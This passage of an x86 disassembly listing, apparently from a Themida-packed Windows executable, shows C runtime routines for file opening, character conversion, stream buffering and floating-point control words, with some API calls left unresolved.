		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242BE
		dec	eax
		jz	short loc_4242B5
		dec	eax
		jz	short loc_4242AC

loc_424297:				; CODE XREF: sub_42423B+9Fj
					; sub_42423B+E8j ...
		mov	dword_4DBDEC, 16h
		mov	dword_4DBDF0, ebx
		jmp	loc_4244D1
; ---------------------------------------------------------------------------

loc_4242AC:				; CODE XREF: sub_42423B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------

loc_4242B5:				; CODE XREF: sub_42423B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------

loc_4242BE:				; CODE XREF: sub_42423B+54j
		mov	[ebp+var_C], 80000000h

loc_4242C5:				; CODE XREF: sub_42423B+78j
					; sub_42423B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4242F3
		cmp	eax, 20h
		jz	short loc_4242EA
		cmp	eax, 30h
		jz	short loc_4242E1
		cmp	eax, 40h
		jnz	short loc_424297
		mov	[ebp+var_10], esi
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------

loc_4242E1:				; CODE XREF: sub_42423B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------

loc_4242EA:				; CODE XREF: sub_42423B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------

loc_4242F3:				; CODE XREF: sub_42423B+90j
		mov	[ebp+var_10], ebx

loc_4242F6:				; CODE XREF: sub_42423B+A4j
					; sub_42423B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424340
		jz	short loc_42433B
		cmp	ecx, ebx
		jz	short loc_42433B
		cmp	ecx, edi
		jz	short loc_424332
		cmp	ecx, 200h
		jz	short loc_424359
		cmp	ecx, 300h
		jnz	loc_424297
		mov	[ebp+var_8], 2
		jmp	short loc_424369
; ---------------------------------------------------------------------------

loc_424332:				; CODE XREF: sub_42423B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424369
; ---------------------------------------------------------------------------

loc_42433B:				; CODE XREF: sub_42423B+D0j
					; sub_42423B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424369
; ---------------------------------------------------------------------------

loc_424340:				; CODE XREF: sub_42423B+CEj
		cmp	ecx, 500h
		jz	short loc_424362
		cmp	ecx, 600h
		jz	short loc_424359
		cmp	ecx, edx
		jz	short loc_424362
		jmp	loc_424297
; ---------------------------------------------------------------------------

loc_424359:				; CODE XREF: sub_42423B+E0j
					; sub_42423B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424369
; ---------------------------------------------------------------------------

loc_424362:				; CODE XREF: sub_42423B+10Bj
					; sub_42423B+117j
		mov	[ebp+var_8], 1

loc_424369:				; CODE XREF: sub_42423B+F5j
					; sub_42423B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424388
		mov	ecx, dword_4DBDF4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424388
		push	1
		pop	esi

loc_424388:				; CODE XREF: sub_42423B+138j
					; sub_42423B+148j
		test	al, 40h
		jz	short loc_424396
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_424396:				; CODE XREF: sub_42423B+14Fj
		test	ah, 10h
		jz	short loc_42439D
		or	esi, edi

loc_42439D:				; CODE XREF: sub_42423B+15Ej
		test	al, 20h
		jz	short loc_4243A9
		or	esi, 8000000h
		jmp	short loc_4243B3
; ---------------------------------------------------------------------------

loc_4243A9:				; CODE XREF: sub_42423B+164j
		test	al, 10h
		jz	short loc_4243B3
		or	esi, 10000000h

loc_4243B3:				; CODE XREF: sub_42423B+16Cj
					; sub_42423B+170j
		call	sub_423F24
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243D4
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 18h
		jmp	short loc_424412
; ---------------------------------------------------------------------------

loc_4243D4:				; CODE XREF: sub_42423B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 2720000h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424405
		push	esi
		call	near ptr 2620000h
		nop
		test	eax, eax
		jnz	short loc_424419
		push	esi
		nop
		call	near ptr 2670000h

loc_424405:				; CODE XREF: sub_42423B+1B6j
		nop
		call	near ptr 269096Bh
		push	eax
		call	sub_420C7F
		pop	ecx

loc_424412:				; CODE XREF: sub_42423B+197j
		mov	eax, edi
		jmp	loc_4244EF
; ---------------------------------------------------------------------------

loc_424419:				; CODE XREF: sub_42423B+1C1j
		cmp	eax, 2
		jnz	short loc_424424
		or	[ebp+var_1], 40h
		jmp	short loc_42442D
; ---------------------------------------------------------------------------

loc_424424:				; CODE XREF: sub_42423B+1E1j
		cmp	eax, 3
		jnz	short loc_42442D
		or	[ebp+var_1], 8

loc_42442D:				; CODE XREF: sub_42423B+1E7j
					; sub_42423B+1ECj
		push	esi
		push	ebx
		call	sub_423FB9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD060h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244D6
		test	al, 80h
		jz	short loc_4244D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42448B
		cmp	dword_4DBDF0, 83h
		jz	short loc_4244D6
		jmp	short loc_4244CA
; ---------------------------------------------------------------------------

loc_42448B:				; CODE XREF: sub_42423B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244B8
		push	[ebp+var_10]
		push	ebx
		call	sub_4251BB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244CA

loc_4244B8:				; CODE XREF: sub_42423B+265j
					; sub_42423B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244D6

loc_4244CA:				; CODE XREF: sub_42423B+24Ej
					; sub_42423B+27Bj
		push	ebx
		call	sub_41E312
		pop	ecx

loc_4244D1:				; CODE XREF: sub_42423B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4244EF
; ---------------------------------------------------------------------------

loc_4244D6:				; CODE XREF: sub_42423B+221j
					; sub_42423B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4244ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4244ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_4244ED:				; CODE XREF: sub_42423B+29Fj
					; sub_42423B+2A5j
		mov	eax, ebx

loc_4244EF:				; CODE XREF: sub_42423B+1D9j
					; sub_42423B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42423B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F4	proc near		; CODE XREF: sub_41FDB5+5Ep
					; sub_420988+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBFC4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424563
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 260048Ch
		test	eax, eax
		jz	short loc_424541
		mov	eax, esi
		jmp	short loc_42455E
; ---------------------------------------------------------------------------

loc_424541:				; CODE XREF: sub_4244F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB89C
		push	esi
		push	ebx
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_424629
		push	2
		pop	eax

loc_42455E:				; CODE XREF: sub_4244F4+4Bj
		mov	dword_4DBFC4, eax

loc_424563:				; CODE XREF: sub_4244F4+2Fj
		cmp	eax, 2
		jnz	short loc_42458C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424574
		mov	eax, dword_4DBE94

loc_424574:				; CODE XREF: sub_4244F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		jmp	loc_42462B
; ---------------------------------------------------------------------------

loc_42458C:				; CODE XREF: sub_4244F4+72j
		cmp	eax, 1
		jnz	loc_424629
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245A2
		mov	eax, dword_4DBEA4
		mov	[ebp+arg_10], eax

loc_4245A2:				; CODE XREF: sub_4244F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2700000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_424629
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_4245F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_4245F8:				; CODE XREF: sub_4244F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424629
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2700000h
		nop
		cmp	eax, ebx
		jz	short loc_424629
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 260048Ch
		nop
		jmp	short loc_42462B
; ---------------------------------------------------------------------------

loc_424629:				; CODE XREF: sub_4244F4+61j
					; sub_4244F4+9Bj ...
		xor	eax, eax

loc_42462B:				; CODE XREF: sub_4244F4+93j
					; sub_4244F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463D	proc near		; CODE XREF: sub_41FE2A+61p
					; sub_420CE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD160
		jb	short loc_42464C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_42464C:				; CODE XREF: sub_42463D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD060[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_42463D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424663	proc near		; CODE XREF: sub_41FF3F+2D4p
					; sub_41FF3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42466F
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42466F:				; CODE XREF: sub_424663+8j
		cmp	dword_4DBE94, 0
		jnz	short loc_42468A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246BC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42468A:				; CODE XREF: sub_424663+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43D094
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBEA4
		call	near ptr 283106Ah
		nop
		test	eax, eax
		jz	short loc_4246BC
		cmp	[ebp+arg_0], 0
		jz	short loc_4246C9

loc_4246BC:				; CODE XREF: sub_424663+1Ej
					; sub_424663+51j
		mov	dword_4DBDEC, 2Ah
		or	eax, 0FFFFFFFFh

loc_4246C9:				; CODE XREF: sub_424663+57j
		pop	ebp
		retn
sub_424663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246CB	proc near		; CODE XREF: sub_420DB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4246EE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4246EE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4246F4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4246EE
		mov	[eax], bx

loc_4246EE:				; CODE XREF: sub_4246CB+Cj
					; sub_4246CB+11j ...
		xor	eax, eax

loc_4246F0:				; CODE XREF: sub_4246CB+42j
					; sub_4246CB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4246F4:				; CODE XREF: sub_4246CB+17j
		cmp	dword_4DBE94, ebx
		jnz	short loc_42470F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42470A
		movzx	ax, al
		mov	[ecx], ax

loc_42470A:				; CODE XREF: sub_4246CB+36j
					; sub_4246CB+C0j
		push	1
		pop	eax
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------

loc_42470F:				; CODE XREF: sub_4246CB+2Fj
		mov	ecx, off_43CE88
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42476C
		mov	eax, dword_43D094
		cmp	eax, 1
		jle	short loc_424753
		cmp	[ebp+arg_8], eax
		jl	short loc_42475D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBEA4
		nop
		call	near ptr 2700000h
		test	eax, eax
		mov	eax, dword_43D094
		jnz	short loc_4246F0

loc_424753:				; CODE XREF: sub_4246CB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42475D
		cmp	[esi+1], bl
		jnz	short loc_4246F0

loc_42475D:				; CODE XREF: sub_4246CB+61j
					; sub_4246CB+8Bj ...
		mov	dword_4DBDEC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------

loc_42476C:				; CODE XREF: sub_4246CB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBEA4
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	loc_42470A
		jmp	short loc_42475D
sub_4246CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_420DB0+797p
					; sub_420DB0+7E7p
		cmp	cl, 40h
		jnb	short loc_4247BA
		cmp	cl, 20h
		jnb	short loc_4247B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_4247B0:				; CODE XREF: sub_4247A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_4247BA:				; CODE XREF: sub_4247A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247BF	proc near		; CODE XREF: sub_421826+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42480B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247DD
		test	al, 80h
		jz	short loc_42480B
		test	al, 2
		jnz	short loc_42480B

loc_4247DD:				; CODE XREF: sub_4247BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4247EA
		push	esi
		call	sub_4241F7
		pop	ecx

loc_4247EA:				; CODE XREF: sub_4247BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4247FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42480B
		inc	eax
		mov	[esi], eax

loc_4247FA:				; CODE XREF: sub_4247BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424811
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424817
		inc	eax
		mov	[esi], eax

loc_42480B:				; CODE XREF: sub_4247BF+9j
					; sub_4247BF+18j ...
		or	eax, 0FFFFFFFFh

loc_42480E:				; CODE XREF: sub_4247BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424811:				; CODE XREF: sub_4247BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_424817:				; CODE XREF: sub_4247BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42480E
sub_4247BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42482D	proc near		; CODE XREF: sub_421E16+52p
		xor	eax, eax
		retn
sub_42482D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424830	proc near		; CODE XREF: sub_424865+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42487B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42490D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424830	endp


; =============== S U B	R O U T	I N E =======================================



sub_424865	proc near		; CODE XREF: sub_422102+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424830
		pop	ecx
		pop	ecx
		retn
sub_424865	endp


; =============== S U B	R O U T	I N E =======================================



sub_42487B	proc near		; CODE XREF: sub_424830+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42488C
		push	10h
		pop	eax

loc_42488C:				; CODE XREF: sub_42487B+Cj
		test	bl, 4
		jz	short loc_424893
		or	al, 8

loc_424893:				; CODE XREF: sub_42487B+14j
		test	bl, 8
		jz	short loc_42489A
		or	al, 4

loc_42489A:				; CODE XREF: sub_42487B+1Bj
		test	bl, 10h
		jz	short loc_4248A1
		or	al, 2

loc_4248A1:				; CODE XREF: sub_42487B+22j
		test	bl, 20h
		jz	short loc_4248A8
		or	al, 1

loc_4248A8:				; CODE XREF: sub_42487B+29j
		test	bl, 2
		jz	short loc_4248B2
		or	eax, 80000h

loc_4248B2:				; CODE XREF: sub_42487B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4248EA
		cmp	edx, 400h
		jz	short loc_4248E7
		cmp	edx, 800h
		jz	short loc_4248E3
		cmp	edx, esi
		jnz	short loc_4248EA
		or	eax, edi
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------

loc_4248E3:				; CODE XREF: sub_42487B+5Ej
		or	eax, ebp
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------

loc_4248E7:				; CODE XREF: sub_42487B+56j
		or	ah, 1

loc_4248EA:				; CODE XREF: sub_42487B+4Ej
					; sub_42487B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4248FA
		cmp	ecx, ebp
		jnz	short loc_4248FF
		or	eax, 10000h
		jmp	short loc_4248FF
; ---------------------------------------------------------------------------

loc_4248FA:				; CODE XREF: sub_42487B+72j
		or	eax, 20000h

loc_4248FF:				; CODE XREF: sub_42487B+76j
					; sub_42487B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42490C
		or	eax, 40000h

locret_42490C:				; CODE XREF: sub_42487B+8Aj
		retn
sub_42487B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42490D	proc near		; CODE XREF: sub_424830+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42491D
		push	1
		pop	eax

loc_42491D:				; CODE XREF: sub_42490D+Bj
		test	bl, 8
		jz	short loc_424924
		or	al, 4

loc_424924:				; CODE XREF: sub_42490D+13j
		test	bl, 4
		jz	short loc_42492B
		or	al, 8

loc_42492B:				; CODE XREF: sub_42490D+1Aj
		test	bl, 2
		jz	short loc_424932
		or	al, 10h

loc_424932:				; CODE XREF: sub_42490D+21j
		test	bl, 1
		jz	short loc_424939
		or	al, 20h

loc_424939:				; CODE XREF: sub_42490D+28j
		test	ebx, 80000h
		jz	short loc_424943
		or	al, 2

loc_424943:				; CODE XREF: sub_42490D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424970
		cmp	ecx, 100h
		jz	short loc_42496D
		cmp	ecx, esi
		jz	short loc_424968
		cmp	ecx, edx
		jnz	short loc_424970
		or	ah, 0Ch
		jmp	short loc_424970
; ---------------------------------------------------------------------------

loc_424968:				; CODE XREF: sub_42490D+50j
					; DATA XREF: Themida_:00559182o
		or	ah, 8
		jmp	short loc_424970
; ---------------------------------------------------------------------------

loc_42496D:				; CODE XREF: sub_42490D+4Cj
		or	ah, 4

loc_424970:				; CODE XREF: sub_42490D+44j
					; sub_42490D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424986
		cmp	ecx, 10000h
		jnz	short loc_424988
		or	eax, esi
		jmp	short loc_424988
; ---------------------------------------------------------------------------

loc_424986:				; CODE XREF: sub_42490D+6Bj
		or	eax, edx

loc_424988:				; CODE XREF: sub_42490D+73j
					; sub_42490D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424995
		or	ah, 10h

locret_424995:				; CODE XREF: sub_42490D+83j
		retn
sub_42490D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424996	proc near		; CODE XREF: sub_424A35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249D6
		lea	eax, [eax+esi*4]

loc_4249C8:				; CODE XREF: sub_424996+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249C8

loc_4249D6:				; CODE XREF: sub_424996+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4249DB:				; CODE XREF: sub_424996+27j
					; sub_424996+35j
		xor	eax, eax
		pop	esi
		retn
sub_424996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DF	proc near		; CODE XREF: sub_424A35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		js	short loc_424A31
		lea	edi, [ebx+esi*4]

loc_424A18:				; CODE XREF: sub_4249DF+50j
		test	eax, eax
		jz	short loc_424A31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A18

loc_424A31:				; CODE XREF: sub_4249DF+34j
					; sub_4249DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A35	proc near		; CODE XREF: sub_424B90+81p
					; sub_424B90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424A99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424996
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424A96
		push	edi
		push	[ebp+arg_0]
		call	sub_4249DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_424A96:				; CODE XREF: sub_424A35+51j
		mov	eax, [ebp+arg_4]

loc_424A99:				; CODE XREF: sub_424A35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_424AB9:				; CODE XREF: sub_424A35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AC1	proc near		; CODE XREF: sub_424B90+75p
					; sub_424B90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_424ACF:				; CODE XREF: sub_424AC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424ACF
		pop	esi
		retn
sub_424AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424ADC	proc near		; CODE XREF: sub_424B90+5Fp
					; sub_424B90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE8	proc near		; CODE XREF: sub_424B90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_424AEE:				; CODE XREF: sub_424AE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424AEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

